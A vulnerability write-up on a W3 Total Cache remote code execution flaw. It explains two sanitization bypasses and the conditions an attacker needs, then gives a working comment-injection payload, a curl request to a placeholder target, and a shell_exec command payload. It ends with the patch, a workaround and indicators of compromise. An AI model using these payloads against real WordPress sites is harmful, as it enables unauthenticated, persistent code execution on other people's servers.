Exploitability of CVE-2026-27384: A Case Study on W3 Total Cache RCE

2026-05-01

Plugin: W3 Total Cache (BoldGrid)
Affected versions: ≤ 2.9.1
Fixed in: 2.9.2 (released March 5, 2026)
CVSS score: 9.0 (Critical)
CWE: CWE-1284 – Improper Validation of Specified Quantity in Input


Background: the mfunc feature

W3 Total Cache is one of the most widely deployed WordPress caching plugins, with millions of active installs. Beyond simple page caching, it exposes a feature called mfunc (short for memory function) that allows PHP code to be embedded directly inside HTML comments. When W3TC serves a cached page, it scans the HTML for mfunc markers and executes the embedded code via eval(), replacing the comment with the output.

The canonical format is:

<!-- mfunc SECURITY_KEY -->
echo some_php_function();
<!-- /mfunc SECURITY_KEY -->

The SECURITY_KEY maps to the value of the W3TC_DYNAMIC_SECURITY PHP constant, which site administrators can optionally define in wp-config.php. The intended use-case is to keep fragments of a cached page dynamic (e.g. display a logged-in user's name) without invalidating the whole cache.

Because this feature calls eval() on arbitrary strings found in the page buffer, it has been a target of research for years. The question has always been: can an unprivileged user inject a mfunc tag into a cached page?


Timeline of the fix attempt in 2.9.1

Before version 2.9.1, W3TC applied no sanitization to user-supplied content before it was cached. Any string that ended up in the page HTML — including comment bodies — could contain mfunc tags that would be executed on every subsequent request.

Version 2.9.1 tried to close this by hooking into preprocess_comment and stripping mfunc tags from comment content before they were saved to the database. The sanitization function strip_dynamic_fragment_tags_from_string() (added @since 2.9.1 in Generic_Plugin.php) is the core of this fix.

It was not enough.


Vulnerability analysis

The sanitization code

// Generic_Plugin.php – strip_dynamic_fragment_tags_from_string()

$pattern = array(
    '~<!--\s*mfunc\s+[^\s]+.*?-->(.*?)<!--\s*/mfunc\s+[^\s]+.*?\s*-->~Uis',
    '~<!--\s*mclude\s+[^\s]+.*?-->(.*?)<!--\s*/mclude\s+[^\s]+.*?\s*-->~Uis',
);

$value = preg_replace_callback(
    $pattern,
    function ( $matches ) {
        return $matches[1]; // keep only the inner content, drop the tags
    },
    $value
);

// …

return str_replace( W3TC_DYNAMIC_SECURITY, '', $value );

Two protections are layered here:

  1. A regex that strips complete <!--mfunc … -->…<!-- /mfunc … --> blocks, keeping only their inner content.
  2. A str_replace fallback that removes the security key from whatever survived step 1.

The execution code

// PgCache_ContentGrabber.php – _parse_dynamic()

$buffer = preg_replace_callback(
    '~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->(.*)<!--\s*/mfunc\s*' . W3TC_DYNAMIC_SECURITY . '\s*-->~Uis',
    array( $this, '_parse_dynamic_mfunc' ),
    $buffer
);

And the callback:

// _parse_dynamic_mfunc()
$code1 = trim( $matches[1] ); // code after the key in the opening tag
$code2 = trim( $matches[2] ); // code between the opening and closing tags
$code  = ( $code1 ? $code1 : $code2 );

if ( $code ) {
    $code = trim( $code, ';' ) . ';';
    ob_start();
    $result = eval( $code );
    // …
}

Bypass #1 — Whitespace mismatch (\s+ vs \s*)

The sanitization regex requires at least one whitespace character between mfunc and the security key:

\s+   ← one or more required (sanitization)
\s*   ← zero or more allowed  (execution)

Consequence: a tag written without any space between the keyword and the key — <!--mfuncKEY--> — is invisible to the sanitization regex but fully matched by the execution regex.

Bypass #2 — Case sensitivity (str_replace vs regex i flag)

The str_replace fallback is the second line of defense. It should catch anything the regex missed by removing the raw key string from the content. However:

  • str_replace() in PHP is case-sensitive by default.
  • Both the sanitization and execution regexes are compiled with the i flag (case-insensitive).

If the key is w3tcsecret, writing W3TCSECRET (uppercase) in the payload means:

Step Input contains Outcome
Regex sanitization <!--mfuncW3TCSECRET--> No match (\s+ fails — no space)
str_replace('w3tcsecret', …) W3TCSECRET No match — case differs
Execution regex ~w3tcsecret~i W3TCSECRET Match

Both defenses are bypassed simultaneously.


Requirements for exploitability

The four conditions that must all be true:

  1. W3 Total Cache ≤ 2.9.1 is active. The _parse_dynamic() execution path and the buggy sanitization both live in this version.

  2. W3TC_DYNAMIC_SECURITY is defined in wp-config.php. This is an opt-in constant. Without it, mfunc processing is disabled entirely at both the sanitization and the execution layers. A site running W3TC without this constant is not vulnerable to this specific code execution path.

  3. The attacker knows the value of W3TC_DYNAMIC_SECURITY. The security key must appear in the injected payload — it is the string the execution regex matches against. An attacker who does not know the key cannot craft a working mfunc tag. This requirement is the primary driver of the AC:H (Attack Complexity: High) score in the CVSS vector.

The key is stored only in wp-config.php and never exposed in page HTML under normal usage. Practical paths to obtaining it include: - A separate file read or disclosure vulnerability (e.g. path traversal, backup file exposure, PHP-FPM misconfiguration) - An authenticated read of the file via another plugin vulnerability - A weak or predictable key chosen by the administrator (short strings, dictionary words, site name derivatives)

  1. An attacker can inject content that reaches a cached page. The most accessible vector is an open comment form: WordPress preserves HTML comments in stored comment content, and W3TC's preprocess_comment hook is the only thing standing between a submitted comment and the page cache. With both bypasses chained, a visitor who knows the security key and has access to the comment form can inject a persistent payload without any authentication.

If comments are closed or require authentication, other injection paths exist (widgets, post meta, custom fields, content created by lower-privileged roles before the fix) but require higher access.


Exploitation

Setup

For local testing, a Docker lab with WordPress and W3TC 2.9.1 is sufficient:

# docker-compose.yml (simplified)
services:
  wordpress:
    image: wordpress:latest
    ports: ["8000:80"]
    environment:
      WORDPRESS_CONFIG_EXTRA: |
        define('W3TC_DYNAMIC_SECURITY', 'w3tcsecret');
  mysql:
    image: mysql:5.7

Enable page caching in W3TC settings and make sure at least one post has its comment form open (Settings > Discussion > Allow comments, or set individually per post).

Step 1 — Craft the bypass payload

The payload combines both bypasses: no space, uppercase key.

<!--mfuncW3TCSECRET-->PHPCODE<!--/mfuncW3TCSECRET-->

A few constraints to keep in mind when choosing PHPCODE:

  • WordPress renders comment text through its formatting pipeline before caching. Straight quotes (') are converted to HTML entities (&#039;, &#8216;, &#8217;), which break string literals when passed to eval(). Use chr() to build strings or rely on PHP functions that need no string arguments.
  • The code is trimmed of leading/trailing semicolons and one is appended automatically.

Step 2 — Verify the PHP version (no quotes needed)

curl -s -X POST "https://TARGET/wp-comments-post.php" \
  --data-urlencode "comment=<!--mfuncW3TCSECRET-->echo phpversion();<!--/mfuncW3TCSECRET-->" \
  -d "author=Alice&email=alice@example.com&comment_post_ID=1&comment_parent=0&submit=Post+Comment" \
  -H "Referer: https://TARGET/?p=1"

On the next page load, the comment body is replaced by the output of phpversion().

Step 3 — OS command execution

To run shell commands without using string literals, build the command string from character codes:

// chr(105).chr(100) == 'id'
echo shell_exec(chr(105).chr(100));

Full comment payload:

<!--mfuncW3TCSECRET-->echo shell_exec(chr(105).chr(100));<!--/mfuncW3TCSECRET-->

After submission, visiting the post page (which forces a cache miss) returns:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Persistence

This is not a one-shot exploit. The mfunc tag is stored in the WordPress database as the comment content. W3TC caches the rendered page including the tag. Every subsequent request — cached or not — goes through _parse_dynamic(), which calls eval() again. The payload persists until the comment is deleted or W3TC is updated.


The fix in 2.9.2

The patch aligns the execution regex with the sanitization regex: both now use \s+ (one or more whitespace required). A no-space tag like <!--mfuncKEY--> no longer matches the execution pattern, regardless of whether it passed sanitization.

The case sensitivity issue (str_replace vs ~i) is implicitly closed as a side effect: since the execution regex now requires a space and uses \s+, an attacker would need to supply a space, which the sanitization regex would then catch.


Detection and remediation

Remediation: Update W3 Total Cache to 2.9.2 or later.

Temporary workaround: Remove or comment out the W3TC_DYNAMIC_SECURITY line in wp-config.php. This disables the mfunc feature entirely.

Threat Intelligence Insight: For security analysts investigating malicious infrastructure associated with such exploits, leveraging a Reverse IP Lookup API is crucial. Identifying all domains hosted on a suspicious IP address can reveal entire clusters of compromised WordPress sites or command-and-control (C2) domains used by attackers.

Indicators of compromise:

  • WordPress comment containing <!--mfunc anywhere in its body (check via wp comment list or the database).
  • Unexpected output replacing comment text on cached pages.
  • PHP error logs showing eval()'d code parse errors (which appear when the injected code uses HTML-encoded quotes).

References

-->